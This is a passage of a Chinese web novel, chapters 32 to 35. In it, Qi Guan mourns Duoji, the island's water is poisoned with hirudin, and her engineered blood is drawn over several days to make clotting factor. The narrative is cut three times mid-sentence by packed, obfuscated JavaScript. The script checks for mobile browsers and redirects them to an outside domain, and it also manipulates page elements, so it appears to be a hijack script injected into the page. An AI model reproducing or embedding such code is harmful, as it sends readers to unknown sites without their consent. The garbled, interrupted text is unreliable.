“齐观,跟我走。别留在这里,跟我走。” 那红线在她手腕处收紧,将她缓缓拉起。海平面的光芒越来越近,齐观十分抗拒,却不忍心挥断那血流。 滴滴滴滴—— 心电监测仪的声音越来越急促,路过的实习小护士听见了声音,以为齐观出了什么事便推门而入。 “你醒了?”麦护士惊讶地说。 窗边病床上的齐观大口喘着气,眼泪流了满脸。 微弱的阳光透过白窗纱,又是一个黎明。 麦护士走到她床边说:“你已经睡了两天了,要不一会儿让护工给你打点粥喝吧。” 齐观的眼神逐渐清明,猛地坐了起来:“什么?两天?” “嘘!”麦护士示意她小点声,别吵醒其他休息的病人,“你的胃出血已经没什么事了,现在床位紧张,如果一会儿进食没什么问题,下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122122|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就准备出院吧。” 齐观紧紧抓住了麦护士的手,急切地问:“两天前有个病人被蛇咬了,就送到了医院门口,他……去哪了?” 麦护士两天前被派到了三院,并不知道多吉的事,还以为是做了截肢手术因为床位紧张被转移过来的轻症病人,便说:“应该就在周围哪个病房里吧。叫什么名字,我帮你查查?” “如果是……已经死了的呢?”齐观的嘴唇微微颤抖。 “是你认识的人吗?” 齐观半天没说话,麦护士只得继续说道:“沿海重伤致死的居民很多,为了不让尸体腐化产生瘟疫,只能统一焚烧处理了。” 齐观颤抖地更厉害了:“骨灰呢?” “已经拉到远海倾倒了。”麦护士见齐观脸色不对,又连忙补充:“你也别太难过了,能活着已经很好了。暴露区那边更是惨,两天一共死了上千人呢!要是不拉到远海,咱们岛上的水源都会收到污染的。” 能活着就已经很好了吗? 齐观痛苦地闭上了双眼,如果她的生命只属于她,她会毫不犹豫地结束于此,可她的生命已经不只属于她了。 那就只是活着吧。 天渐渐完全亮了起来,这原本是一间小小的三人病房,靠墙处又临时加了两个简易的床位。 由于日常不收治重症病人,三家医院全部的床位加在一起也不过三百,而加床就意味着伤者远超这个数。 护工推着大餐车走了进来,给每个病人盛了一小碗菜粥和一个鱼饼之后就匆匆离开,赶往下一间病房。 那粥并不浓稠,鱼饼也带着些腥味。 齐观木然地舀着粥,吃着吃着眼泪就落进了碗里,但她没有停,继续吃着这碗和了眼泪的咸粥。 吃完了粥,她又拿起鱼饼,机械地嚼了起来。 病房门口出现了谢心白的身影,她看到齐观不仅醒了,还有进食的欲望,简直高兴得忘乎所以,直冲向齐观的病床说:“你醒了?感觉怎么样?” 齐观缓缓抬头看了一眼谢心白,空洞的双眼下是无数条干了又湿的泪痕,脖颈扭动得像一个许久没有上过润滑油的,即将报废的机器人。她什么都没有说,又低头继续往嘴里塞鱼饼。 只这一眼,谢心白的眼泪就落下来了,“齐观,你要是心里难受的话,就再多休息会儿,好吗?” 齐观面无表情地嚼着,含糊不清地说:“人活着,要吃饭。” 她吃完了鱼饼,连手上的油污也没有擦,直直躺回床上,目光看向什么都没有的窗外。 谢心白无声流泪着帮齐观擦干净手,护工进来收走餐具,齐观也没有任何反应。 谢心白实在不忍心看着她这个样子,扭头小跑出了门,才敢出声哭。 她实在不知道自己能说什么,做什么,才能让崩溃至此的齐观走出来。 谢心白无助地靠着墙,感觉身体里好像有什么也在跟着疼。 口袋里的手机突然振了起来,她点开一看,是周文涛的消息。 “来审讯室,研究员已经抓到了。” 32. 第32章 “求求你们让我回到保护区吧,舰队干了什么真的和我们这些搞研究的没关系啊!” 眼前面黄肌瘦的研究员大声哭诉着,谢心白甚至找不到能够提问的间隙。 “能用的渔船都在早就被驱逐的人手里,我们只能砍树做木船,还只能趁着晚上出海,白天温度简直能要人命。我的朋友昨天出海之后到现在都没有回来。求你们了,放我回来吧,我真的什么都没做。” “你有一个消失的同伴?”谢心白问。 “不,是两个。他们天刚黑就出海了,可能遇上海蛇了吧。昨天轮到我把守物资才躲过一劫,真的太可怕了,到处都是尖叫声。” 研究员还沉浸在昨夜的恐惧中,惊慌失措的眼神完全不像是能演出来的。 “你们的物资呢?”谢心白又问。 “我带过来了,如果留在暴露区肯定会被人搜走的。” “你的同伴出海时带走了多少物资?” “只带了两条鱼。” 谢心白转身离开了审讯室,忽略了身后研究员挽留的叫喊。 “他带来的物资呢?”谢心白问向负责抓捕的士兵。 士兵拎来一个破布袋子,里面是一些鱼干和植物果实。 周文涛走上前问:“审讯结果怎么样?” “和这伙人没什么关系,他们连基本的生存条件都很难维持,肯定不会选择如此复杂的报复方式。至于那两个失踪的研究员,想寻死的人大概率不会带食物走,而且信息素起效的时间足够他们返回暴露区躲避,应该就是单纯的遇害了。” 周文涛眉头紧缩,一切又回到了原点。 谢心白想了想继续说道:“不过只要做了就一定会留下痕迹,暴露区肯定不止那一条船,也许我们的搜寻目标应该放在海上。” 周文涛听了这话更无法放松了,若是开始海上渔船的排查不知道什么时候才会有结果。 他一口喝净了桌上杯子里的水,准备去司令部和钱章商量海上寻防的事,却突然感到下腹一阵阵痛。 真是上了岁数了,身体连多喝点儿凉水都遭不住了,周文涛不禁感叹。 审讯门外突然传来一阵急促的脚步声,紧接着门被猛地推开,里昂大声说道:“周副首!医院出事了!” 周文涛来不及细问,直接小跑着跟着里昂出了侦查队的大门。 “发生什么了?”周文涛“砰”地关上车门。 “所有医院同时涌入了大量内出血的患者,现场简直乱套了。医生怀疑问题一定是来自所有人都会接触到的东西,已经将谷物、鱼类和水源抽样送检了。” “内出血……天呐……”周文涛无力地靠向座位,治疗蛇毒已经已经耗光了岛上的血库和止血药物,新出现的病人即便撑到了医院也不会得到救治,甚至还可能有更严重的病人已经无法行动,昏在了家里无人问津。 周文涛沉下心来,一切只能以最坏的结果准备了。 “军队还能正常运转吗?”他问。 “大家都经过基因改造,还能顶得住。”里昂答道,“虽然召回了很多人,但用人的地方更多,司令已经亲自带队去检查海上的几个大型设施了。” 腹中的疼痛再次袭来,周文涛明白自己一定也是中招了。可是用如此极端的手段无差别地伤害全岛居民,又有谁会这么做呢? 刚进医院,周文涛虽然做足了心理准备,但就被眼前的景象惊呆了。 医院大厅里躺满了哀嚎的病人,仅有的几名医护人员只能不停劝说他们不要乱动,以免引发更严重的出血。 医院外,仍有病人正在不断向医院涌来,只可惜连大厅都没得躺了。 一名护士直直地向周文涛跑来。 “化验结果出来了吗?”周文涛急切地问。 “还没有,您先跟我来吧。” 周文涛快步走着,掏出手机联系物管所:“调出可供全岛三天的食物库存,具体供给点稍后会有人发给你。” 周文涛挂了电话,下意识想要打给齐观,却想起她人也正在医院躺着,只好直接给秘书处打了过去布置工作。 他刚把电话挂掉就看到方医生从化验室里出来。 “水源。”方静竹边摘手套边说,“水里含有少量水蛭素,是一种极易溶于水的天然抗凝血剂,大量服用会导致严重的内出血。” “天然的凝血剂?那应该是蛋白质结构吧。”周文涛十分不解地看着方静竹,“可经过反渗透法获得的淡水是不应该存有大分子杂质的。” “是的,这也就说明淡水系统被动手脚的位置在后半程。” 需要搜寻的范围一下子就缩小了,周文涛心中的急切平息了些许,解决办法似乎近在眼前。 “如果是蛋白质的话,只要加热就可以饮用了吧。”周文涛说。 “不,水蛭素的分子结构非常稳定,必须是在强碱环境中加热15分钟以上才能彻底灭活,只有高温或者胃中的强酸环境都没有作用。我们没有足够的碱溶液,也没有那么多的电能用于加热,也就是说水库中现有的水全都不能用了。” 周文涛深吸一口气,算上维修清理水库的时间,恢复全岛供水至少还需要一天半的时间。这也就意味着所有伤者只能靠一点干粮补充营养。 “周副首,我们现在的问题是,不会再有人来献血了。” 被蛇咬的人断肢处本就易出血,水蛭素的出现相当于直接宣判了他们的死亡,连夜的救治也变得毫无意义。 周文涛不敢想明天过后岛上到底会死多少人。岛在明,人在暗,若再不把罪魁祸首抓出来,这座岛怕是没有多少日子了。 “我知道了。”他神色灰败地转身离开。 一路走上楼,周文涛打了无数个电话,尽他所能去补这个比天还大的窟窿。 他推开了楼梯间的门,来到了李竞阳的病房前。 “首长的情况怎么样?”周文涛问。 “上午吐过一次,还有些头疼,刚刚已经睡下了。幸好首长的病不能多喝水,体内出血并不严重。”护士的表情变得忧心忡忡,“但医生说,也就是这一个月的事了。” 周文涛走到沉睡的李竞阳身边坐下,无助得好像当年那个在实验室被排挤的年轻人。 他双手十指交握,撑住额头,“竞阳姐,我已经把能做的都做了,可你常说的希望又在哪呢?” 病房门突然从外面被猛地拉开,里昂站在门口拉着一个陌生的男人。 “周副首,他说他有办法!” …… 小小的三人病房内,齐观依旧静静地躺在病床上。 麦护士刚刚进来收走了病房里的水壶,和她说先不要去办出院了,说是水源出了 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燕铭声泪俱下地恳求道:“这是我亲生的孩子,你不知道这有多难申请,没有她我活不下去的。” 齐观猛地坐起来,身体颤抖地越来越厉害,再次蓄满泪的眼中满是错愕。 “我不明白。”她咬着牙说。 燕铭以为她是不明白自己的基因如何运转,连忙解释道:“你会不会经常感到饥饿?那是因为你的新陈代谢比其他人都要快,受伤后则会更快。你平时受点小伤会很快愈合,对吗?你的身体里甚至还有来自鲸鱼的抗癌基因,对于别人是要命的疾病,对你来说不过是一个会自动消除的小肿瘤罢了。” “所以……我要怎么做?” “我们需要向你体内注入少量蛇毒,只要五分钟就能产生足够的抗体。” “五分钟……五分钟……”齐观的胸口剧烈起伏着,十指插入头发用力拉扯。 好痛,可心里更痛,她忍不住发出凄厉的尖叫,那痛苦的叫喊不停地从心底的裂痕传来。 她明明有机会救多吉的。 周文涛连忙跑上前拉住了她的手:“齐观,别这样。至少你还有能挽救的人。” 可齐观已经什么都听不进去了,失去多吉的痛苦本就一刻不停地在折磨着她,而知道自己完全有机会把他救回来,则简直彻底击垮了她的防线。 齐观不管不顾地挣扎着,周文涛根本拉不住她。 “镇定剂!”周文涛朝护士喊道。 随行的护士小跑上前,冰凉的液体注射进齐观的小臂,她渐渐平息了下来。 “为什么这么多年不联系我?”齐观跌回病床上虚弱地问,眼前的景象渐渐模糊。 “你父母的研究成果实在是太瞩目了,我怕研究所的人注意到你,更怕他们利用你……就像我现在一样。”燕铭心虚地低下头,“对不起,小观。” 齐观的眩晕感逐渐强烈,很快陷入昏迷,周文涛立刻让护士给她注入了少量蛇毒。 燕铭将优优抱上刚刚推进来的儿童病床,焦急地等待着输血。 很快,齐观的血液缓缓输入进优优的身体,周文涛这才开口问:“现在你可以告诉我怎么才能救全岛的人了吗?” 33. 第33章 “现在岛上最需要的就是凝血因子,而齐观身体的恢复能力远高于常人,产生凝血酶原的肝脏更是人体器官中恢复能力最强的。原理和获取蛇毒抗体一样,给她注射足够量的抗凝血剂,再分离出所需要的成分就可以了。” “足够量是多少?”周文涛问。 “我不知道,她父母的研究资料基本都在研究所老板手里,我也没有接触过多少。”燕铭死死盯着优优的小脸,内心的愧疚让他根本不敢去看齐观,“但无论如何你不能做伤害她的事,就算岛上的情况再紧急,也要一点点加注射量。” 周文涛有些急了:“你不是说有办法可以救全岛的人吗?” “我撒谎了,可那又怎样?”燕铭毫不在乎地直视周文涛,“救全岛难道是齐观一个人的责任吗?我只要我的优优活着就够了。” 优优腿上的肿胀已经停止了扩散,燕铭十指紧紧交握,眼含热泪地等待着。 刚知道海蛇的消息燕铭就把孩子接回了家,妻子和他轮流请假在家里照顾,只想挨过这段危险的日子。 没想到只是接个工作电话的时间,优优就自己溜去了卫生间,听到孩子尖叫的时候他的心脏简直都要停跳了。 只有齐观的抗体能救他的孩子,而找到齐观最快的方式就是通过政府,这也就意味着要暴露齐观的秘密。 燕铭的内心不是没有挣扎过,可看着孩子痛苦尖叫的样子,任何人他都可以亏欠。他只希望还能有补尝齐观的机会。 安静的病房里突然响起了电话铃声,周文涛见来电显示是钱章的名字,立刻走出病房接通了电话。 “喂,找到问题了吗?” 听筒对面的海风声很大,钱章的声音并不很真切,“找到了。进入山体水库前的管道底部被开了三个直径两厘米的小洞,洞上连接了水箱。水箱已经给随行的医生检测过了,里面的水蛭素含量只是略高于水库,已经溶解得非常充分了。” 周文涛重重地皱起眉头,这感觉就好像在黑乎乎的巷子里被人套了麻袋按着打,连对方怎么出招都看不到就挨了几计重拳。 “不仅如此,水箱用的是纳米吸收材料,连接口则是可凝固蛋白,如果有人……或者是什么别的生物潜入海底进行破坏,雷达和岗哨是探测不出来的。”钱章的声音也是阴云密布,“也许这次,我们的敌人并不在海平面之上。” 周文涛走到窗台边,望向楼宇夹缝中的那一点点海平面,一艘船正驶向修建中的发射平台。 如此大量的生物毒素绝不是一朝一夕可以制成的,而最近一个月岛上唯一的变化便是启动了平台的搭建。 周文涛虽不能确定这就是敌人的目的,但他决不允许任何灾难波及到这座承载着希望的平台,即使这希望已与他毫无关系。 “但你是有办法的对吗?”钱章的声音继续从声筒传来。 “交给我吧。” 周文涛挂了电话回到病房,见护士已经在回收输血的设备,便吩咐道:“给她准备一间单人病房,营养液也优先供给她。我过一会儿就到。” 很快,齐观的病床被推离了这间病房。 周文涛探寻的眼神落在了燕铭身上,“你是研究所哪个部门的?我怎么没见过你?” “新生儿计划署。”燕铭答。 周文涛眯起了眼睛,这个部门向来是直接向首长汇报的,凭他一个副首长的权限连进新生儿实验室的权利都没有。 “那你对基因实验应该也很熟悉吧。人类有可能通过基因实验在海里生存吗?”周文涛继续问道。 “没有。”燕铭直接否定了这个可能,“全球尝试这个方向的研究所有很多,但鱼类和人类的基因早就因进化而差异巨大,并不能很好的融合。不光是基因实验,也曾有研究所让儿童从小生活在几乎接触不到阳光的海下实验室,但他们都会渐渐显现出严重的生理或者心理问题。这也是为什么登上飞船的儿童年龄不能大于六岁。一旦自我意识觉醒,人的追求就会不断膨胀延伸,地下城这种监牢一样的东西也不会是人类的出路。至于前不久袭击安塔岛的那些怪物,不过是绝望挣扎的产物罢了,对人类文明没有任何意义。” 太阳衰老带来的异常辐射确实给人类带来无尽的病痛,但人类依旧需要阳光。这也是安塔岛仍将人类聚集区建在地上的原因。 周文涛听了燕铭的话,心里稍微松了口气。 人类的敌人,从来都是人类本身。 周文涛来到了齐观的病房,却发现齐观已经醒了。 短效的镇静剂至少能有一个小时的效果,而距离她被注射镇定剂才过去不过30分钟,看来燕铭说的确实不假,齐观的代谢速度确实快于常人。 周文涛坐在齐观病床前,缓缓开口道:“齐观,刚刚燕铭告诉我,你的血可以救这座岛上的很多人。我不知道怎么才能说服你,因为这个过程只会加重你的痛苦,但现在全岛人都处在缓慢出血的状态,出现症状的人只会越来越多。如果北美舰队知道了我们的现状,再次对我们发动攻击,岛上这二十万人的下场不用我说你也明白。” 齐观没有回答,只是闭上了眼睛,平静得像死了一样。 周文涛对麦护士说:“抗凝血剂一会儿就会送来,你现在只负责看护这一个病人就可以。备用的净水装置已经启动了,干净的食物和水你随时准备着,有什么情况随时联系我。” 周文涛说罢便离开了,护工很快就送来了一小杯刚刚过滤好的水和几小袋白色的营养液。 麦护士舔了舔自己干得起皮的嘴唇,小心翼翼地把水端到齐观的嘴边,“这个水没有问题的,你喝吧。” 齐观偏头喝了两口,又继续看向天花板。 “再喝点吧,这可是第一批供给的水,很宝贵的。”麦护士劝道,没有收回举杯的手。 “你喝吧。”齐观语气淡淡的。 “那……我就喝一小口。”麦护士的表情好像是在喝什么琼浆玉液,刚喝了一点就恋恋不舍地放下了杯子。 “我叫麦小满,你就叫我小麦吧。我先给你把营养液输上,中午你怕是来不及吃饭了。” 不多时,医生就拿了一个小冷藏箱来,语速飞快地交代了麦小满注射的时间和顺序后就直接离开了。 虽然齐观的凝血因子马上就会投入使用,但每个伤者能被分到多少,甚至是否还有救治的必要,都需要医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130880|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们去抉择。 也许在那些重症病人的眼中,医生不再是救死扶伤的天使,而是手握生死簿的阎王。 微凉的酒精在齐观左臂上画起了圈,麦小满将抗凝血剂打进了齐观的左臂静脉。 紧接着,又是一针打进了右腿。 为了最大程度地激活肝脏的造血功能,第一次需要给齐观打了五针微量的抗凝血剂,以造成全身性的出血。 体内不断传来钝痛,好像无数重锤不停地往身上砸,齐观忍不住攥紧双拳。 “呀!你流鼻血了。”麦小满连忙擦去齐观的鼻血,可很快又有新的流了出来。她只得用纱布团成球一直堵着,直到那血红停止晕染白纱布。 见齐观的痛苦稍微减轻了些,麦小满便取了抽血的针头。 冰凉坚硬的针头扎进了齐观的左臂,血液不断地从她的身体里流出,像一条永远不会枯竭的河流。不似她的眼眶,那里已经是干涸的湖泊了。 血袋的容量是500cc,算上输给优优的100cc,第一次一共要抽600cc,而三小时过后又要再抽600cc,足足是一个健康人单次献血量的三倍。麦小满咬着手指,紧张地观察着齐观的表情。 病房的门突然被打开,吓得麦小满一个激灵猛回头。 “方主任?”麦小满诧异地看见方静竹正紧紧攥着门把手,头发也因为跑动有些凌乱,她还是第一次见方主任露出这样慌乱的神情。 “你怎么来了?现在不是很忙吗?”麦小满问。 方静竹并没有回答麦小满的话,而是犹犹豫豫地走到齐观的床边站定。 “抱歉,我那天说的话太直白了。只是时间紧急,我不得不那么说,也不得不那么做,很抱歉我之前没能为你做些什么。” 齐观本来也没有怪方静竹,只是人都死了她也不想听这些没用的话,便没有理会她,而是继续盯着天花板。 “方优是我的孩子,谢谢你救了她。”方静竹说。 齐观目光微滞,语气冷漠得像机器人:“不用谢,我也不是自愿救的。” 方静竹连忙解释道:“燕铭从来没有跟身边的人提起过你,连我也是刚知道。他是真心想要保护你的,希望你不要怪他。” 齐观有些厌烦地闭上了眼睛。 麦小满见血袋马上就满了,便拔了针头,用手按在齐观胳膊上的针眼上说:“方主任,要不你帮忙把血袋送到实验室吧。我这有点走不开。” “啊……好。”方静竹有些恍惚地取了血袋,面带愧疚地离开了病房。 麦小满按着齐观胳膊上的针孔说:“你这回可是岛上的大功臣了,等出院的时候感谢你的人怕是能从医院排到半山腰呢!” 麦小满见齐观没有应声,便继续自顾自地念叨起来:“科室里有经验的护士都被派去照顾那些症状明显的病人了,我刚来实习,可能没什么经验,你哪里不舒服一定要跟我说啊。你中午也没来得及吃东西,晚上一定要多吃点啊……” 齐观本是无心听她说这些的,可麦小满的话还是竹筒倒豆子般落进了她的耳朵里,就像一只叽叽喳喳的小麻雀正衔着她的衣领,把她从十八层地狱拉进了十七层。 34. 第34章 首长病房内,周文涛将齐观基因的秘密原原本本地复述给了李竞阳。 “那她的寿命呢?应该比我们长很多吧。”李竞阳半躺在病床上问道。 “100岁左右。”站在一旁的燕铭答道,“如果是曾经物产丰富、环境适宜的时代,150岁也不是什么难事。” 李竞阳微微睁大了眼睛,这个答案实在是有些超出她的意料,即便是100岁,也已经是岛上平均寿命的两倍。 她微微思索了一会儿,又向周文涛问道:“齐观的凝血因子,你准备怎么用?” “还在考虑,但无外乎是在轻重症的患者中二选一罢了。”周文涛深深陷入病床旁的椅子,“给重症,至少能吊住命,但轻症患者得不到救治,自愈后也可能出现后遗症,寿命大大缩短;给轻症确实是能让很多人尽快恢复,但重症患者虽然症状没有中毒的患者重,但数量要多太多了,如果放弃很可能会出现大范围的死亡,引起民众恐慌。” “我想也许……还有别的办法。”李竞阳认真地说,“齐观现在的献血量是多少?” “目前抽了600cc,今天一共1200cc。”周文涛答。 “什么?”燕铭急得直接站了起来,“你知不知道1200cc放在普通人身上就是重度失血?难道你真想用她一个人的命去救全岛吗?” 周文涛依旧眉头紧锁:“血液科的报告我已经看过了,并没有那么严重。而且以岛上现在的情况,总要有人牺牲,不是她也会有别人。” “文涛,你要明白,牺牲的前提是自愿。”李竞阳的语气变得有些严肃,“一个人的力量毕竟是有限的,我们现在要做的,是用齐观把这座岛团结起来。凝血因子优先供给轻症患者,并告诉他们是齐观的贡献让他们免于后遗症的折磨。当他们进入恢复期,立刻请求他们献血,哪怕每人只献50cc,也足够救下大部分的重症患者了。” 周文涛听了这些话心里不免有些低落,既然他想不到这样两全的解决方案,也许就不该继续占着这个位子。 李竞阳看出了周文涛眼神中的疑虑,便说:“文涛,不要多想,先去做吧。” 周文涛点了点头,离开了病房。 “燕铭,岛上的基因库存档现在是什么标准?”李竞阳继续问道。 “依旧是18岁时参与测试,但性格测试得分的要求从六年前的88分提到了95分以上,所以每年新增的存量很少。” “齐观身边有个叫多吉的男孩因为中了蛇毒不幸离世了,你回去帮我查一下他的评分怎么样吧。” “死了?”燕铭惊讶地说,“怪不得她状态那么差。之前我送优优去学校还碰上过他们几次。不过多吉这个名字怎么这么熟悉呢?” 燕铭摸着下巴思索着,突然睁大了眼睛说:“我想起来了,他的性格测评是满分。说起来真是很可惜,即便是经过那么多年的优化,像他那样的满分性格也很少出现。” “这样啊……”李竞阳缓缓点头,似乎心中有了盘算的样子,“谢谢你告诉我这些,这对这座岛上的人们意义非凡。” 燕铭羞愧地低下了头:“可我这样实在对不起齐观。” 李竞阳安抚道:“燕铭,你放心。等岛上恢复生产秩序,我一定会给她她应有的补偿。只是最近你要时不时去看看齐观的情况,对于她来说,心理上的创伤要比生理上的难捱很多。毕竟你也算是她的亲人了,我想她不会真的怪你的。” 燕铭将信将疑地点点头,离开李竞阳的病房后直接去来了齐观这儿。 齐观正在病床上安静睡着,手上绑了固定的甲板,打着营养液。 燕铭在病房外踌躇了许久还是没有进去。 走廊里,麦小满抱了个电脑和一摞记录表远远走来,见燕铭在门口便问:“要进去吗?” “不了,就是来看看。” “她心情不太好,要不你还是别来了。”麦小满没好气儿地嘟囔了一句就推门进了病房,留燕铭一个人在门外尴尬。 本以为只看护一个病人会轻松许多,没想到还要帮同事整理病历,麦小满感觉自己都要枯萎了。 她轻手轻脚地坐在靠墙的小沙发上,自顾自地忙了起来。 病房外,燕铭依旧站在门口没有离开。 在他十八年前的记忆里,齐观还是个活泼开朗的孩子,会追在他身后要好吃的,若是父母不在身边就缠着他给她念书听。 燕铭的双亲早早因为实验感染去世,把他托付给了齐观家。燕铭从小受着齐观父母的照顾,他也早就拿齐观当自己的亲妹妹了。 上岛之后,他偶尔也会溜进校区看看齐观的近况。看着她一天天地变得沉默寡言,他不是没想过去照顾她,可进化方向的基因改造,父母优先改造子女是常态。 为了不让齐观被抓去研究,燕铭只能死守这个秘密。 可时间终究淡化了他们之间的情谊,他也有了自己真正要守护的家庭,只是没想到最终利用齐观的是他自己。 “让一下,送餐。”护工出声打断了燕铭的回忆。 燕铭直愣愣地侧过身,护工进门把餐放到了齐观病床旁的桌子上。 齐观本就睡不踏实,听见耳边的动静就醒了。 麦小满连忙走到床边问:“要不要先吃一点呀?还有一个多小时才到下一次的抽血时间。” 齐观输着营养液倒也不太饿,便摇了摇头。 “吃点吧,对胃好。”麦小满直接按下了病床边的启动键,把齐观的上半身推了起来,又架好了小桌板。 齐观无奈地看了看她,又指了指自己还动不了的右手。 “没事,我喂你。”麦小满笑嘻嘻地夹起一块猪肝递到齐观嘴边,“来,补血的。” 齐观一向很难拒绝这样真诚的示好,便顺从地张了嘴。她刚吃两口就看到了在门外偷看的燕铭。 “叫他进来吧。”齐观说。 “不行!你得少说话,多吃饭,认真休息。”麦小满说着又往齐观嘴里塞了一口瘦肉。 齐观两颊鼓鼓,嚼着肉说:“他总是这样我也休息不好的,叫他进来吧。” “那好吧,这菜我先拿走温着,只能聊一会儿哦。” 麦小满收回了小桌板,给燕铭开了门就离开了房间。 燕铭踌躇着走到齐观床边,有些不敢回应齐观的视线。他低着头开口:“对不起,我……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137421|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对不起是这世上最没用的话,你还不如说谢谢呢。”齐观扭头看向窗外。 燕铭愣了一瞬,连忙改口:“谢谢,谢谢你小观。优优她已经好多了,幸亏有你……” “优优上几年级了?”齐观开口打断了燕铭子弹一样密集的感谢。 “二年级,怎么了?” “二年级有个叫薛洋洋的女孩,你有空的话帮我去看一眼她现在是什么情况吧。” “啊?啊,好。”燕铭没敢多问就直接答应了下来。 “好了,你走吧。”齐观闭上了眼睛,以示送客。 燕铭欲言又止,退了两步又走回来一步,纠结得在原地打转。 “还要说什么?”齐观问。 燕铭脱口而出:“你出院之后,愿不愿意去我那住住?优优还得在家恢复一段时间,你来也就是多双筷子的事。我跟你嫂子,啊不,我老婆,就是方医生,我们厨艺都不错的,你爱吃什么菜都能做……” “你先去帮我看一眼那个孩子吧。”齐观再次打断了燕铭,她知道他想弥补自己,但两人到底分开了快二十年,她没有想好要怎么处理这段过时的亲情。 见齐观对他的提议并不感兴趣,燕铭只好悻悻离开。时间产生的问题,只能交给时间去解决。 转天一早,天刚蒙蒙亮。 周文涛和钱章围站在材料科的实验台前,神情一如连绵阴雨。 昨天一共打捞上来三个装有水蛭素的水箱,原本已经拆了两个做研究,并没有发现什么异常,直到拆到了第三个。 桌台上钢板的正中用锐物刻了三个字。 “DIEWITHME.” 那一道道尖锐的划痕,仿佛都透着浓烈的恨意。 “看来无论对方是谁,都已经做好和我们同归于尽的准备了。”周文涛担忧地看向钱章猜测道:“既然对方有纳米吸收材料,想必雷达上依旧没有什么发现吧。” “雷达上确实是没有,但目前全球的动力来源都是太阳能发电,对方总要浮出海面的。” “哦?有好消息?” 钱章肯定地点了点头:“海军投放的几批仿生海龟终于有几只传回了有用的视频。一艘潜艇刚刚在离岛三百公里的地方展开了太阳能板。在离岛五百至八百公里的海域,还有几块装了定位器的太阳能板,对方也许会去回收储存的能源。” 这下周文涛心里终于有了底,他沉思道:“对方一定是以为这两次攻击会击溃这座岛,才敢露头获取能量,也许回收了所有能量板之后还会发起下一轮的攻击。” “很有可能,但我们还需要几天时间确认对方潜艇的数量。” “明白,到时我也会做好准备。记得帮我选几个机灵的人,要最好的才配得上我的作品。” 周文涛给了钱章一个确定的眼神,便起身离开,可刚站起来,他腹内的疼痛再度袭来。 “你难道还没有去注射凝血因子吗?”钱章问。 “我不要紧的。”周文涛摇了摇头,“资源有限,现在当务之急是保障军事力量和生产部门正常运行。我先回去调试了。” 望着周文涛蹒跚的背影,钱章不禁多了几分忧心。 35. 第35章 病房内,齐观结束了今日的第一次抽血。 她的脸色变得更加苍白,原本暖玉一样的肤色已经成了白石灰。身上的钝痛一刻不停地在折磨着她,左手也因为滞留针不能活动,僵得难受。 “还要再抽几天?”齐观微皱着眉头,斜靠在床上虚弱地问。 麦小满一脸歉意地轻声说:“虽然大家已经停止饮用有毒的水,但症状都是渐渐显现出来的,轻症患者的人数反而增多了。抱歉啊,今天抽完了明天还有一天。” 麦小满又从保温袋里提了一大壶鸡汤出来,“这是那个叫燕铭的研究员刚才送来的,还温着呢,喝点吧。” 她给齐观拿了个吸管插到鸡汤里,递到了嘴边,又说:“你交代让看的那个孩子也没什么事,没被蛇咬,虽然也有点内出血,但小孩子恢复得快着呢。” 齐观这才放心地小口喝了起来。这鸡汤鲜得很,还有草药的香气,显然是下了不少功夫和本钱炖的。现下齐观对燕铭的提议确实有些心动了,就算不过去住,偶尔去蹭点饭也是好的。 可接下来的抽血,却让齐观没法再把注意力放在别处了。 三天一共抽走了4000cc的血,接近一个成年人全身血液的总量,也抽走了齐观半条命。 最后一次抽血结束后,她只感觉眼前人影绰绰,却无力睁眼详看。 齐观迷迷糊糊中听见了谢心白的声音。 “她这样真的还能恢复得过来吗?” 麦小满耳语道:“可以的,方主任和我说她的肝脏造血能力非常强,只不过得静养一段时间了。” 齐观昏昏沉沉地睡到了转天下午,眼皮干的像砂纸,磨得眼球生疼。 她用了半天力才睁开眼,感官刚刚开始启动就闻到了一阵花香。 病房里摆满了大大小小的花束,有从店里买的,包装和品相都十分精致,还有一看就是从路边采的小小的野花野草,用绳子扎了成了一把。 齐观不知道的是,岛上每个人的手机每天都会收到她献血的新闻,她已经成为了安塔岛的英雄。 胳膊上的滞留针孔周围紫了一圈,但好在已经止血了,身上的痛感也所剩无几。 齐观现在的感觉只有虚弱,好像在无人的海里一直挣扎,直到全身脱力,又独自漂流了很久才被冲上岸。 过去的三天里,身体的疼痛与僵硬几乎占据了她全部的注意力,然而这些都已经消退,她又要去面对外面那个没有多吉的世界了。 齐观呆愣地望着渐渐染红的天空,突然想起那面沾满鲜血的挡风玻璃。 麦小满:“床头柜里有入院时给你换下来的衣服,不过有些脏了,你还要带走吗?” 齐观慢吞吞地挪到床边,弯腰想打开柜门,却眼前一黑,直接栽倒在地上。 “哎呀!”麦小满连忙扶她坐回床边,帮她打开了柜门。 